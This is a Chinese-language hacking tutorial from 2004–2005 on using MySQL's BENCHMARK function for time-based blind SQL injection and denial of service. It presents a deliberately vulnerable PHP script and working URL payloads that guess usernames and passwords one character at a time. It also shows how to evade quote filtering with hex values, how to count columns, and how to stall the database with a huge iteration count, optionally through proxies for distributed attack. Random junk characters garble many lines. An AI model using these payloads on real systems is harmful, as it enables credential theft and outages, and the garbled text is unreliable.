MYSQL中BENCHMARK函数的利用
+ K. E: L: _$ u. E1 r4 z) [" }- m本文作者:SuperHei
6 H9 o1 _$ l- f! }1 J) V- ^2 l文章性质:原创
o B z% }! L, |" {2 c+ T发布日期:2005-01-025 A& q7 N; r& Q
完成日期:2004-07-09
; M) o. c% ^5 [0 x0 A4 m4 o第一部) |$ H0 r' Z6 i
) [9 h* O" t* i/ C- H6 b" v9 L利用时间推延进行注射---BENCHMARK函数在注射中的利用
4 Q" K( v" b4 M, Y9 c% H3 A
f" ]9 Y& @3 J$ K r- c4 @# ~一.前言/思路4 P* o k5 D' s8 c- ~
y- u6 _7 n% O" I 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
0 k# q/ |: i4 f+ ]- @) d( w' V7 b! ^) t v9 }. r! P9 w
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
$ Y" B G( n& J g, y, F/ z8 E6 D2 e- {7 k
二.关于BENCHMARK函数! p( P* K! b! ` p2 d: ?
, R8 p; W' M3 K
在MySQL参考手册里可以看到如下描叙:
" f: N% r6 a6 b; _- H& y$ ]% Z+ d6 O3 x
; o9 Z) @5 h, [) J5 O' f4 I! h--------------------------------------------------------------------------------0 f, x9 F. V5 W! y v! s
* H. p+ U* f/ P" i' v
BENCHMARK(count,expr) ! g' k6 p) L# v8 |; u# l
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 - M: r! i$ ^9 v! i q% {
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
8 a6 Q/ |0 @7 q# A+----------------------------------------------+
0 L7 C9 s7 d* w7 e# o- C| BENCHMARK(1000000,encode("hello","goodbye")) |
/ u- z) @: d7 O) U" D+----------------------------------------------+ ; G6 q' e! M$ D+ ]
| 0 | 9 [5 Z% S6 P/ ?1 c: v9 r" H
+----------------------------------------------+ & l% c5 K% a0 h3 B g/ z- e
1 row in set (4.74 sec) $ h" C$ H2 t2 Q. _7 ?
$ `! k& D5 C! S( M$ Q报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。1 P+ j' ]: X, [. e2 E5 d, } p
* _/ D; V. S2 _7 j" U2 R! O( \$ `7 q
--------------------------------------------------------------------------------1 v. A( o9 f9 J+ ]! E; L s
/ J5 B" o" Y! h# z6 c' J 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ! } K# N2 X9 x- Q' w' E
- [9 a, w3 B# Q) c2 o6 Dmysql> select md5( 'test' ); % M$ D: |8 }) u. C" Z; m- b% n
+----------------------------------+
3 a( i- D& n1 m# u| md5( 'test' ) | $ _7 E% K. ]: R3 p
+----------------------------------+ ( y; o0 \" |0 C3 _7 J' F: F( H
| 098f6bcd4621d373cade4e832627b4f6 |
7 ^& a4 C( K3 ^1 K7 H% e+----------------------------------+
& w- p4 \/ \- u; \7 q8 H# Z1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 2 z$ P9 [: e1 x5 \( r1 l, r( g
4 @0 Y$ D, d7 O* y. z, n2 Omysql> select benchmark( 500000, md5( 'test' ) ); 0 t6 O$ q8 u9 H4 E4 M* T
+------------------------------------+ & `% p7 t. ^ u: G+ U) z
| benchmark( 500000, md5( 'test' ) ) |
- X! G) e7 @1 ~3 o0 \+------------------------------------+
5 B& u3 b. x1 L+ M| 0 |
; e; F- [/ L. o0 L/ u" t+------------------------------------+ ( x! j8 [' C8 g& e a! J o) j
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
% @5 p# _2 }/ E2 j $ P Q Z( Z6 g2 L
/ H$ K( J+ t; t1 _; z 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 , Y) r; N1 t3 y, o. j% A
2 A5 i" o! r( v
三.具体例子$ |5 H5 S& Y6 h; C% v: f' C5 ^' C
: Q- P, N, W: A; \- n2 S6 r 首先我们看个简单的php代码:6 ], @* ` o: a R7 `6 `9 j
9 L$ Y" S! N3 Q/ l< ?php 3 |3 L# m0 }2 _. s1 j
$servername = "localhost"; 7 A# I. I( Z, {, ~" W" R
$dbusername = "root"; ! `. n0 J7 w2 j1 {( y# V# r C
$dbpassword = "";
, F6 v1 w' R y4 e8 j2 j- s$dbname = "injection"; ! ?# I. I" d8 a+ ~9 _9 N
2 C- Q d" z+ a1 }
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
+ e+ E# s3 r4 e ]6 s' }' X% t+ ^2 j9 L2 Y+ W' g, {
$sql = "SELECT * FROM article WHERE articleid=$id";
- l' p, L. Z$ k5 c" u8 X9 m# w* y$result = mysql_db_query($dbname,$sql); 4 n$ }% h1 O( `# M3 u
$row = mysql_fetch_array($result); * @! a7 G+ S5 Q( M4 _5 y9 C
( z4 G' o' {0 B' m1 v
if (!$row) ) N2 O& f: \8 {( i' x: J
{ 3 X7 Z) [* U5 h$ s
exit; # {% l# [- ~7 T7 `
}
' `; p( X+ t- K i X0 G5 f( K?>* Q6 m& Q& A, W) T, ?
' I/ S9 k z$ R7 f9 i' Z
5 T$ p; `6 v) U8 ~& h 数据库injection结构和内容如下:; J. _% l4 _2 y' V6 d& r
& w* t' D) ?8 [. `0 ]; R# 数据库 : `injection` 2 Z& r! f9 P8 \- y$ s- ], U S! l
#
% Y/ G8 {6 @8 ]( @ u. ~ Q+ p- E6 S' ^# N2 @
# --------------------------------------------------------
' X) ]2 I% R/ Q, n2 r8 u9 r7 [: Q2 O
# 7 K x( b; E- r2 ]- }% z H# F. c* N
# 表的结构 `article` r1 t$ {) I m) ~7 L1 a
#
+ y5 _9 ?/ R% s: X! G9 S: b6 D) X# K- T. z9 T( N, w6 }3 t
CREATE TABLE `article` (
& t' `& d/ k( f- f`articleid` int(11) NOT NULL auto_increment,
5 Y5 Z2 l6 |2 {/ y# M7 D`title` varchar(100) NOT NULL default '',
2 }( q7 M R) O1 A7 {5 E`content` text NOT NULL,
+ h! W% E/ G7 u" m _ WPRIMARY KEY (`articleid`)
1 \4 q% S" ]% N9 M: Q2 O) TYPE=MyISAM AUTO_INCREMENT=3 ;
% g6 F( h7 @4 K
- [9 s" B- M. _# # l6 C/ r5 X4 I1 y' I
# 导出表中的数据 `article`
5 ^( k# E# Y0 z1 } w1 Y# U& U: Y! |# I# U
0 i& d' Y# L% a, P) v4 f8 @+ I: H+ y
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
5 e/ V2 B8 F/ rINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 4 @; J/ v5 N3 u
4 O# P1 y4 `3 J- q* Z; O! b
# -------------------------------------------------------- : U8 a& J! y( h4 ]
* h! t& c/ Z' ^
# # c# M% |$ ]( Y$ @
# 表的结构 `user`
; N( b0 |% P8 g, z. w- f% s' I# |#
% D0 A7 ^( M5 v6 b/ Y
7 P5 q: j$ e# ?5 [3 `0 M' ?" g+ @CREATE TABLE `user` (
- |2 E7 R* a D1 ]% x6 h3 T`userid` int(11) NOT NULL auto_increment, # A6 ~( A/ i# S* s; l( B
`username` varchar(20) NOT NULL default '', * k- x9 D: L* ]. v
`password` varchar(20) NOT NULL default '', , U, i: [9 C' q; h
PRIMARY KEY (`userid`) 6 d( q& }8 z# A0 b4 |( T/ f
) TYPE=MyISAM AUTO_INCREMENT=3 ; ) V' n* h. L7 z) P7 J% {; Y+ m: o
! b& Z# i# ^# `$ \) t#
$ i/ J! f5 O+ v# 导出表中的数据 `user` . q% u* [% P, i3 ?
# & M6 I, m+ y$ J% o; m8 x) p
9 P8 F1 J8 }! kINSERT INTO `user` VALUES (1, 'angel', 'mypass');
6 f" ~" o3 J9 @# J* o" pINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
+ |6 i6 \2 @) c' r$ S9 E ; ^ O: Z5 _! Y- _, j" ?
/ j4 K* ]' y: @- g! ?$ R 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
& T& ~* R* o F$ q/ O, [. ^% s' h/ \, Q$ f! \' `. G7 ^
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*5 h: n1 d7 U5 ~- |3 n3 q2 K
4 r% G. O8 L3 s* K% ^6 |0 D# s
1 q$ r, X0 z( g8 C0 B6 ~ 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:* m! w% N6 F1 R5 v4 D! F* P7 K( y
# y5 g9 A/ e( r; chttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
# c: e8 ` _) `- O& j " m* a' E% D: Z0 s3 z# o, |
! ?* R' ?/ T2 @: R: E) m
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 & \: h" c% G& S9 ~
8 Y) ^. I: w. t1 z% d' _1 s
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
3 Z- |& R; F# `
5 ~% T. }* l; ]6 T第二部
/ R; L7 Y5 x; c1 ^5 A8 c8 ~+ n r, b: }' N7 W1 A$ K
利用BENCHMARK函数进行ddos攻击
. l M3 v2 ^" O+ P3 R+ R9 y' L+ Z6 n/ P( T' l; h* b# _+ M
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:* m: E) {) j9 t5 R' D
7 v# d7 R- u% M! p/ a* a7 f/ ]& W
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))7 y9 c/ a- V9 Y* }! H
3 ~* J# D9 M* L% a# o+ D6 r% h+ l0 Q
小结
/ ]. f3 h- }' U' B4 k2 z9 t# ]
& ^0 S2 n0 S3 F/ d1 X6 h' ^. d& y, B 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
2 m1 x5 x$ x7 Q/ k4 |# i' [0 _
0 S% ]; `$ n+ \9 j- J* D# N2 D" E # n; S [1 [8 O9 M1 U: R, ^( @1 h) R
|